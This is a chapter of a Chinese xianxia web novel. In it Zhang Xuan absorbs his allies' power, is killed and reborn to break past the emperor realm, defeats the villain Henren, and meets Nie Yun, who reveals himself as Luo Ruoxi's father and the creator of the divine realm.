他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！